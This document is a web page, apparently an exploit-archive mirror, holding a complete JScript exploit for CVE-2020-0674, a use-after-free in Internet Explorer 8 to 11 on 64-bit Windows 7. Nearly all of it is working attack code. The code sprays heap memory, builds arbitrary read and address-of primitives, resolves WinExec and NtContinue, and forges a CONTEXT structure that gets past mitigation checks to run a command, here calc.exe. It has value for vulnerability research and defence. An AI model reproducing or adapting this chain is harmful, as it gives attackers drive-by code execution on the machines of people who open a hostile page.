扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 |
# Exploit Title: Microsoft Internet Explorer 11 - Use-After-Free # Date: 2020-05-07 # Exploit Author: maxpl0it # Vendor Homepage: https://www.microsoft.com/ # Software Link: https://www.microsoft.com/en-gb/download/internet-explorer.aspx # Version: IE 8, 9, 10, and 11 # Tested on: Windows 7 (x64) # CVE : CVE-2020-0674 <!DOCTYPE html> <html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE8" /> <script language="JScript.Compact"> // ------------------------------------------------------------------------------------------------- // // Credits: //maxpl0it (@maxpl0it) - Writing the exploit //Qihoo 360 - Identifying the vulnerability in the wild // // // Vulnerability: Use-After-Free when Array.sort() is called with a comparator function. The two //arguments are untracked by the garbage collector. // // Exploit Description: This exploit was written for 64-bit IE instances. //However, Enhanced Protected Mode sandboxing could be enabled for IE 10 //and IE 11 because EPM on Windows 7 simply enables x64 and doesn't do //much else. //The exploit executes C:\Windows\System32\calc.exe but doesn't implement //any form of process continuation after execution. // // Testing: //OS tested on: Windows 7 //IE versions tested on: // 8 (x64 version) // 9 (x64 version) // 10 (Either the TabProcGrowth registry key set or Enhanced Protected Mode enabled to use x64) // 11 (Either the TabProcGrowth registry key set or Enhanced Protected Mode enabled to use x64) // // Further notes: // Video at https://twitter.com/maxpl0it/status/1253396942048104448 // // The debug is better viewed in the console. Open Developer Tools and enable debug below. // // This is the non-EMET-bypassing version and only handles the stack pivot check and EAF. // // If you receive the error "Couldn't rewrite variable", verify that this is 64-bit IE and not a // 32-bit process (iexplorer.exe and not iexplorer.exe *32) // // ------------------------------------------------------------------------------------------------------ // write_debug: Used to show debugging output. function write_debug(str_to_write) { if(debug) { // Switch is below try{ console.log(str_to_write); // In IE, console only works if devtools is open. } catch(e) { try { alert(str_to_write); // A lot of popups but provides information. } catch(e) { // Otherwise, nothing. } } } } // Globals var depth; // Used to track the depth of the recursion for the exploit function. var spray; // Used to spray objects and fill GcBlocks. var overlay; // Used to hold objects that will eventually contain properties that will reallocate freed GcBlocks. var overlay_backup; // Used to make sure that the overlay objects still have a reference after the exploit is done. Otherwise they would be freed and reallocated. var variants; // A string that contains a bunch of fake VAR structures. This is the property name that will cause the freed GcBlock to be reallocated. var total; // Used to hold the untracked variable pointers for the use-after-free. var leak_lower; // Holds the least significant DWORD of the 'next VVAL' pointer leak. var leak_offset; // Since we don't want to free all overlay variables, this value will be used to identify which property we have got a pointer for so only this will be freed and reallocated later. var leak_verify_var; // Used to verify that the rewrite worked. If the overlay cannot be freed and reallocated, then the exploit will not work. var fakeobj_var; // Points at the property name string in the final VVAL. When the property name changes, a fake VAR is constructed in the name string and will change this fakeobj_var's type and object pointer values. var trigger_obj; // Will contain the fake object and vftable. var context; // Will store the context structure for NtContinue. var padding = "AAAAAAAAAAA"; // Padding aligns so that the property with the manipulated hash will end up on top of an untracked var. var leak = "\u0005"; // This manipulates the hash of the VVAL. var leaked_var = "A"; // The final object property name. Needs to be created so that the 'next VVAL' pointer of the manipulated hash VVAL is filled. var spray_size = 20000; // The size of the spray array. var overlay_size = 20000; // The size of the overlay array. var pad_size = 3000; // The size of padding for the trigger object. This padding adds additional space for functions like WinExec() to add their stack frames and the stack frames of the functions they call. var sort = new Array(); // The array to be sorted with the vulnerable function. var lfh = new Array(); // An array used to trigger lfh. var debug = false; // Whether write_debug will do anything. var command = "\u3a43\u575c\u6e69\u6f64\u7377\u535c\u7379\u6574\u336d\u5c32\u6163\u636c\u652e\u6578"; // The command to be executed. In this case it's "C:\Windows\System32\calc.exe" // Setup - fills the sort array with arrays to be sorted. Done first to avoid the stack setup getting messed up. for(i = 0; i < 310; i++) sort[i] = [0, 0]; // lfh_trigger: Used to trigger LFH for a particular size. function lfh_trigger() { for(i = 0; i < 50; i++) { tmp = new Object(); tmp[Array(570).join('A')] = 1; lfh.push(tmp); } } // reset: Resets the objects used in the function initial_exploit so it could be used again. function reset() { depth = 0; spray = new Array(); overlay = new Array(); total = new Array(); for(i = 0; i < overlay_size; i++) overlay[i] = new Object(); // Overlay must happen before spray for(i = 0; i < spray_size; i++) spray[i] = new Object(); CollectGarbage(); } // make_variant: Creates a fake VAR in a string. function make_variant(type, obj_ptr_lower, obj_ptr_upper, next_ptr_lower, next_ptr_upper) { var charCodes = new Array(); charCodes.push( // type type, 0, 0, 0, // obj_ptr obj_ptr_lower & 0xffff, (obj_ptr_lower >> 16) & 0xffff, obj_ptr_upper & 0xffff, (obj_ptr_upper >> 16) & 0xffff, // next_ptr next_ptr_lower & 0xffff, (next_ptr_lower >> 16) & 0xffff, next_ptr_upper & 0xffff, (next_ptr_upper >> 16) & 0xffff ); return String.fromCharCode.apply(null, charCodes); } // set_variants: A wrapper for make_variant that allocates and pads the property names to align the fake VARs correctly in memory. function set_variants(type, obj_ptr_lower, obj_ptr_upper, next_ptr_lower, next_ptr_upper) { variants = "AAAAAAAA"; for(i=0; i < 46; i++) { variants += make_variant(type, obj_ptr_lower, obj_ptr_upper, next_ptr_lower, next_ptr_upper); } variants += "AAAAAAAAA"; } // initial_exploit: The main exploit function. function initial_exploit(untracked_1, untracked_2) { untracked_1 = spray[depth*2]; untracked_2 = spray[depth*2 + 1]; if(depth > 150) { spray = new Array(); // Erase spray CollectGarbage(); // Add to free for(i = 0; i < overlay_size; i++) { overlay[i][variants] = 1; overlay[i][padding] = 1; overlay[i][leak] = 1; overlay[i][leaked_var] = i; // Used to identify which leak is being used } total.push(untracked_1); total.push(untracked_2); return 0; } // Set pointers depth += 1; sort[depth].sort(initial_exploit); total.push(untracked_1); total.push(untracked_2); return 0; } // rewrite: Frees the correct overlay object and reallocate over it as to replace the object at the leaked 'next property' pointer. function rewrite(v, i){ CollectGarbage(); // Get rid of anything lingering that might screw up the exploit overlay_backup[leak_offset] = null; // Erase the object to be replaced CollectGarbage(); // Clear leak overlay_backup[leak_offset] = new Object(); // New object - Might end up in the same slot as the last object overlay_backup[leak_offset][variants] = 1; // Re-allocate the newly freed location (Take up the original GcBlock location again) overlay_backup[leak_offset][padding] = 1; // Add padding to align the hash with the type to leak the 'next property' pointer overlay_backup[leak_offset][leak] = 1; // The hash-manipulating property overlay_backup[leak_offset][v] = i; // sets the property name and the initial VAR } // read_pointer: Rewrites the property and changes the fakeobj_var variable to a string at a specified location. This sets up the read primitive. function read_pointer(addr_lower, addr_higher, o) { rewrite(make_variant(8, addr_lower, addr_higher), o); } // read_byte: Reads the byte at the address using the length of the BSTR. function read_byte(addr_lower, addr_higher, o) { read_pointer(addr_lower + 2, addr_higher, o); // Use the length. However, when the length is found, it is divided by 2 (BSTR_LENGTH >> 1) so changing this offset allows us to read a byte properly. return (fakeobj_var.length >> 15) & 0xff; // Shift to align and get the byte. } // read_word: Reads the WORD (2 bytes) at the specified address. function read_word(addr_lower, addr_higher, o) { read_pointer(addr_lower + 2, addr_higher, o); return ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8); } // read_dword: Reads the DWORD (4 bytes) at the specified address. function read_dword(addr_lower, addr_higher, o) { read_pointer(addr_lower + 2, addr_higher, o); lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8); read_pointer(addr_lower + 4, addr_higher, o); upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8); return lower + (upper << 16); } // read_qword: Reads the QWORD (8 bytes) at the specified address. function read_qword(addr_lower, addr_higher, o) { // Lower read_pointer(addr_lower + 2, addr_higher, o); lower_lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8); read_pointer(addr_lower + 4, addr_higher, o); lower_upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8); // Upper read_pointer(addr_lower + 6, addr_higher, o); upper_lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8); read_pointer(addr_lower + 8, addr_higher, o); upper_upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8); return {'lower': lower_lower + (lower_upper << 16), 'upper': upper_lower + (upper_upper << 16)}; } // test_read: Used to test whether the arbitrary read works. leak_lower + 64 points to the fakeobj_var location (property name string). The byte at this address is therefore expected to be 8 (String VAR type). function test_read() { if(read_byte(leak_lower + 64) != 8) { throw Error("Arbitrary read failed."); } } // test_fakeobj: Used to test whether fakeoj_var responds as expected when the type and value is changed. function test_fakeobj() { rewrite(make_variant(3, 23)); if(fakeobj_var + "" != 23) { // Turning it to a string causes the conversion to copy, dereferencing the 0x80 type. Type 0x80 being used directly won't work. throw Error("Couldn't re-write fakeobj variable"); } } // test_rewrite: Used to test whether the VAR in the VVAL leaked address changes as expected. function test_rewrite() { rewrite(leaked_var, 23); if(leak_verify_var + "" != 23) { throw Error("Couldn't re-write variable"); } } // addrof: The 'address-of' primitive. Changes the VAR at the start of the VVAL to point to a given object and changes the fakeobj_var string to point to the object pointer of this VAR, thus allowing the address to be read. function addrof(o) { var_addr = read_dword(leak_lower + 8, 0, o); // Dereference the first VAR return read_dword(var_addr + 8, 0, 1); // Get the Object pointer of the second VAR } // find_module_base: Finds the base of a module from a leaked pointer. Works by zeroing the least significant 16 bits of the address and subtracting 0x10000 until the DOS stub code is found at a specified offset. function find_module_base(ptr) { ptr.lower = (ptr.lower & 0xFFFF0000) + 0x4e; // Set to starting search point while(true) { if(read_dword(ptr.lower, ptr.upper) == 0x73696854) { // The string 'This' write_debug("[+] Found module base!"); ptr.lower -= 0x4e; // Subtract the offset to get the base return ptr; } ptr.lower -= 0x10000; } } // leak_jscript_base: Gets the base of the jscript module by creating a new object, following the object pointers until the vftable is found, and then using the vftable leak to identify the base of jscript.dll. function leak_jscript_base() { // Create an object to leak vftable obj = new Object(); // Get address of the object pointer obj_ptr_addr = addrof(obj); write_debug("[+] Object ptr at 0x" + obj_ptr_addr.toString(16)); // Get address of the vftable vftable_addr = read_qword(obj_ptr_addr, 0, 1); write_debug("[+] Vftable at upper 0x" + vftable_addr.upper.toString(16) + " and lower 0x" + vftable_addr.lower.toString(16)); return find_module_base(vftable_addr); } // leak_var: Executes the main exploit function in order to leak a 'next property' pointer. function leak_var() { reset(); variants = Array(570).join('A'); // Create the variants sort[depth].sort(initial_exploit); // Exploit overlay_backup = overlay; // Prevent it from being freed and losing our leaked pointer leak_lower = undefined; for(i = 0; i < total.length; i++) { if(typeof total[i] === "number" && total[i] % 1 != 0) { leak_lower = (total[i] / 4.9406564584124654E-324); // This division just converts the float into an easy-to-read 32-bit number break; } } } // get_rewrite_offset: Executes the main exploit function again in order to create a number of fake VARs that point to the leaked location. This means that the object pointer can be read and the exact offset of the leaked property in the overlay array can be identified. function get_rewrite_offset() { reset(); set_variants(0x80, leak_lower);// Find the number of the object sort[depth].sort(initial_exploit); // Exploit for(i = 0; i < total.length; i++) { if(typeof total[i] === "number") { leak_offset = parseInt(total[i] + ""); leak_verify_var = total[i]; break; } } } // get_fakeobj: Identifies the fakeobj_var. function get_fakeobj() { rewrite(make_variant(3, 1234)); // Turn the name of the property into a variant reset(); set_variants(0x80, leak_lower + 64);// Create a fake VAR pointing to the name of the property sort[depth].sort(initial_exploit); // Exploit for(i = 0; i < total.length; i++) { if(typeof total[i] === "number") { if(total[i] + "" == 1234) { fakeobj_var = total[i]; break; } } } } // leak_module: Used to leak a pointer for a given module that is imported by another module by traversing the PE structure in-memory. function leak_module(base, target_name_lower, target_name_upper) { // Get IMAGE_NT_HEADERS pointer module_lower = base.lower + 0x3c; // PE Header offset location module_upper = base.upper; file_addr = read_dword(module_lower, module_upper, 1); write_debug("[+] PE Header offset = 0x" + file_addr.toString(16)); // Get imports module_lower = base.lower + file_addr + 0x90; // Import Directory offset location import_dir = read_dword(module_lower, module_upper, 1); write_debug("[+] Import offset = 0x" + import_dir.toString(16)); // Get import size module_lower = base.lower + file_addr + 0x94; // Import Directory offset location import_size = read_dword(module_lower, module_upper, 1); write_debug("[+] Size of imports = 0x" + import_size.toString(16)); // Find module module_lower = base.lower + import_dir; while(import_size != 0) { name_ptr = read_dword(module_lower + 0xc, module_upper, 1); // 0xc is the offset to the module name pointer if(name_ptr == 0) { throw Error("Couldn't find the target module name"); } name_lower = read_dword(base.lower + name_ptr, base.upper); name_upper = read_dword(base.lower + name_ptr + 4, base.upper); if(name_lower == target_name_lower && name_upper == target_name_upper) { write_debug("[+] Found the module! Leaking a random module pointer..."); iat = read_dword(module_lower + 0x10, module_upper); // Import Address Table leaked_address = read_qword(base.lower + iat + 8, base.upper); // +8 since __imp___C_specific_handler can cause issues when imported in some jscript instances write_debug("[+] Leaked address at upper 0x" + leaked_address.upper.toString(16) + " and lower 0x" + leaked_address.lower.toString(16)); return leaked_address; } import_size -= 0x14; // The size of each entry module_lower += 0x14; // Increase entry pointer } } // leak_export: Finds the location of a given exported function in a module. Works using binary search in order to speed it up. Assumes that the export name order is alphabetical. function leak_export(base, target_name_first, target_name_second, target_name_third, target_name_fourth) { // Get IMAGE_NT_HEADERS pointer module_lower = base.lower + 0x3c; // PE Header offset location module_upper = base.upper; file_addr = read_dword(module_lower, module_upper, 1); write_debug("[+] PE Header offset at 0x" + file_addr.toString(16)); // Get exports module_lower = base.lower + file_addr + 0x88; // Export Directory offset location export_dir = read_dword(module_lower, module_upper, 1); write_debug("[+] Export offset at 0x" + import_dir.toString(16)); // Get the number of exports module_lower = base.lower + export_dir + 0x14; // Number of items offset export_num = read_dword(module_lower, module_upper, 1); write_debug("[+] Export count is " + export_num); // Get the address offset module_lower = base.lower + export_dir + 0x1c; // Address offset addresses = read_dword(module_lower, module_upper, 1); write_debug("[+] Export address offset at 0x" + addresses.toString(16)); // Get the names offset module_lower = base.lower + export_dir + 0x20; // Names offset names = read_dword(module_lower, module_upper, 1); write_debug("[+] Export names offset at 0x" + names.toString(16)); // Get the ordinals offset module_lower = base.lower + export_dir + 0x24; // Ordinals offset ordinals = read_dword(module_lower, module_upper, 1); write_debug("[+] Export ordinals offset at 0x" + ordinals.toString(16)); // Binary search because linear search is too slow upper_limit = export_num; // Largest number in search space lower_limit = 0; // Smallest number in search space num_pointer = Math.floor(export_num/2); module_lower = base.lower + names; search_complete = false; while(!search_complete) { module_lower = base.lower + names + 4*num_pointer; // Point to the name string offset function_str_offset = read_dword(module_lower, module_upper, 0); // Get the offset to the name string module_lower = base.lower + function_str_offset; // Point to the string function_str_lower = read_dword(module_lower, module_upper, 0); // Get the first 4 bytes of the string res = compare_nums(target_name_first, function_str_lower); if(!res && target_name_second) { function_str_second = read_dword(module_lower + 4, module_upper, 0); // Get the next 4 bytes of the string res = compare_nums(target_name_second, function_str_second); if(!res && target_name_third) { function_str_third = read_dword(module_lower + 8, module_upper, 0); // Get the next 4 bytes of the string res = compare_nums(target_name_third, function_str_third); if(!res && target_name_fourth) { function_str_fourth = read_dword(module_lower + 12, module_upper, 0); // Get the next 4 bytes of the string res = compare_nums(target_name_fourth, function_str_fourth); } } } if(!res) { // equal module_lower = base.lower + ordinals + 2*num_pointer; ordinal = read_word(module_lower, module_upper, 0); module_lower = base.lower + addresses + 4*ordinal; function_offset = read_dword(module_lower, module_upper, 0); write_debug("[+] Found target export at offset 0x" + function_offset.toString(16)); return {'lower': base.lower + function_offset, 'upper': base.upper}; } if(res == 1) { if(upper_limit == num_pointer) { throw Error("Failed to find the target export."); } upper_limit = num_pointer; num_pointer = Math.floor((num_pointer + lower_limit) / 2); } else { if(lower_limit == num_pointer) { throw Error("Failed to find the target export."); } lower_limit = num_pointer; num_pointer = Math.floor((num_pointer + upper_limit) / 2); } if(num_pointer == upper_limit && num_pointer == lower_limit) { throw Error("Failed to find the target export."); } } throw Error("Failed to find matching export."); } // compare_nums: Compares two numbers that represent 4-byte strings for equality. If not, it detects which character is larger or smaller. function compare_nums(target, current) { // return -1 for target being greater, 0 for equal, 1 for current being greater write_debug("[*] Comparing 0x" + target.toString(16) + " and 0x" + current.toString(16)); if(target == current) { write_debug("[+] Equal!"); return 0; } while(target != 0 && current != 0) { if((target & 0xff) > (current & 0xff)) { return -1; } else if((target & 0xff) < (current & 0xff)) { return 1; } target = target >> 8; current = current >> 8; } } // generate_gadget_string: Takes a gadget address and creates a string from it. function generate_gadget_string(gadget) { return String.fromCharCode.apply(null, [gadget.lower & 0xffff, (gadget.lower >> 16) & 0xffff, gadget.upper & 0xffff, (gadget.upper >> 16) & 0xffff]); } // generate_obj_vftable: Creates a fake object with a fake vftable containing a few ROP gadgets. function generate_obj_vftable(initial_jmp) { trigger_obj = Array(pad_size + 1).join('A'); // Adds lots of stack space to either side to prevent msvcrt.dll crashing trigger_obj = trigger_obj + Array(157).join('A') + generate_gadget_string(initial_jmp); trigger_obj = trigger_obj.substr(0, trigger_obj.length); trigger_addr = string_addr(trigger_obj); write_debug("[+] Trigger object at 0x" + trigger_addr.upper.toString(16) + " 0x" + trigger_addr.lower.toString(16)); return trigger_addr; } // generate_context: Creates a partial fake CONTEXT structure to use with NtContinue. P1Home and P2Home are missing because this structure is a part of the fake object. This means that no stack pivot is needed for execution of this exploit. The leaked stack pointer is also used to protect against stack pivot detection. function generate_context(command_address, leaked_stack_ptr, kernel32_winexec_export) { return "\u0000\u0000\u0000\u0000" + // P3Home "\u0000\u0000\u0000\u0000" + // P4Home "\u0000\u0000\u0000\u0000" + // P5Home "\u0000\u0000\u0000\u0000" + // P6Home "\u0003\u0010" + // ContextFlags "\u0000\u0000" + // MxCsr "\u0033" + // SegCs "\u0000" + // SegDs "\u0000" + // SegEs "\u0000" + // SegFs "\u0000" + // SegGs "\u002b" + // SegSs "\u0246\u0000" + // EFlags "\u0000\u0000\u0000\u0000" + // Dr0 - Prevents EAF too! "\u0000\u0000\u0000\u0000" + // Dr1 "\u0000\u0000\u0000\u0000" + // Dr2 "\u0000\u0000\u0000\u0000" + // Dr3 "\u0000\u0000\u0000\u0000" + // Dr6 "\u0000\u0000\u0000\u0000" + // Dr7 "\u0000\u0000\u0000\u0000" + // Rax generate_gadget_string(command_address) + // Rcx - Command pointer "\u0000\u0000\u0000\u0000" + // Rdx - SW_HIDE "\u0000\u0000\u0000\u0000" + // Rbx generate_gadget_string(leaked_stack_ptr) + // Rsp - Leaked Stack pointer "\u0000\u0000\u0000\u0000" + // Rbp "\u0000\u0000\u0000\u0000" + // Rsi "\u0000\u0000\u0000\u0000" + // Rdi "\u0040\u0000\u0000\u0000" + // R8 "\u0000\u0000\u0000\u0000" + // R9 "\u0000\u0000\u0000\u0000" + // R10 "\u0000\u0000\u0000\u0000" + // R11 "\u0000\u0000\u0000\u0000" + // R12 "\u0000\u0000\u0000\u0000" + // R13 "\u0000\u0000\u0000\u0000" + // R14 "\u0000\u0000\u0000\u0000" + // R15 generate_gadget_string(kernel32_winexec_export); // Rip - WinExec() call } // trigger_exec: Triggers code execution by creating a fake VAR of type 0x81, setting it's vftable to the payload, and causing execution by using typeof. function trigger_exec(obj_addr, command_address, leaked_stack_ptr, kernel32_winexec_export) { rewrite(make_variant(0x81, leak_lower + 96, 0) + make_variant(0, obj_addr.lower + 2 * (pad_size), 0) + generate_context(command_address, leaked_stack_ptr, kernel32_winexec_export)); write_debug("[*] About to trigger..."); typeof fakeobj_var; } // leak_stack_ptr: Leaks a stack pointer in order to avoid stack pivot detection in the CONTEXT structure. function leak_stack_ptr() { leak_obj = new Object(); // Create an object obj_addr = addrof(leak_obj); // Get address csession_addr = read_dword(obj_addr + 24, 0, 1); // Get CSession from offset 24 stack_addr_lower = read_dword(csession_addr + 80, 0, 1); // Get the lower half of the stack pointer from offset 80 stack_addr_upper = read_dword(csession_addr + 84, 0, 1); // Get the upper half of the stack pointer from offset 84 return {'lower': stack_addr_lower, 'upper': stack_addr_upper}; } // string_addr: Gets the address of a string in an object that can be used in a chain. function string_addr(string_to_get) { return {'lower': addrof(string_to_get), 'upper': 0}; } // main: The entire exploit. function main(){ // Setup functions lfh_trigger(); // Trigger LFH - May or may not make the exploit more reliable, but can't hurt // Leak VAR leak_var(); // Identify offset for reliable rewrite get_rewrite_offset(); // Test rewrite test_rewrite(); // Create a fake VAR get_fakeobj(); // Test fakeobj rewrite test_fakeobj(); // Output results so far write_debug("[+] Leaked address 0x" + leak_lower.toString(16) + " is at offset " + leak_offset); // Test read test_read(); // Get the module base for jscript jscript_base = leak_jscript_base(); // Get the msvcrt base by following the jscript import table mscvcrt_leak = leak_module(jscript_base, 0x6376736d, 0x642e7472); msvcrt_base = find_module_base(mscvcrt_leak); write_debug("[+] Found msvcrt base at 0x" + msvcrt_base.upper.toString(16) + " 0x" + msvcrt_base.lower.toString(16)); // Get the ntdll base by following the msvcrt import table ntdll_leak = leak_module(msvcrt_base, 0x6c64746e, 0x6c642e6c); ntdll_base = find_module_base(ntdll_leak); write_debug("[+] Found ntdll at 0x" + ntdll_base.upper.toString(16) + " 0x" + ntdll_base.lower.toString(16)); // Get the kernel32 base by following the jscript import table kernel32_leak = leak_module(jscript_base, 0x4e52454b, 0x32334c45); kernel32_base = find_module_base(kernel32_leak); write_debug("[+] Found kernel32 at 0x" + kernel32_base.upper.toString(16) + " 0x" + kernel32_base.lower.toString(16)); // Find the WinExec function address from kernel32 kernel32_winexec_export = leak_export(kernel32_base, 0x456e6957, 0, 0, 0); write_debug("[+] Found WinExec at 0x" + kernel32_winexec_export.upper.toString(16) + " 0x" + kernel32_winexec_export.lower.toString(16)); // Find the NtContinue function address from ntdll ntdll_ntcontinue_export = leak_export(ntdll_base, 0x6f43744e, 0x6e69746e, 0, 0); write_debug("[+] Found NtContinue at 0x" + ntdll_ntcontinue_export.upper.toString(16) + " 0x" + ntdll_ntcontinue_export.lower.toString(16)); // Get the address of the command to be executed command_address = string_addr(command); // Leak the stack pointer leaked_stack_ptr = leak_stack_ptr(); // Create fake object and vftable obj_addr = generate_obj_vftable(ntdll_ntcontinue_export); // Generate context and trigger code execution trigger_exec(obj_addr, command_address, leaked_stack_ptr, kernel32_winexec_export); } // Call main() main(); </script> </head> </html> |
体验盒子
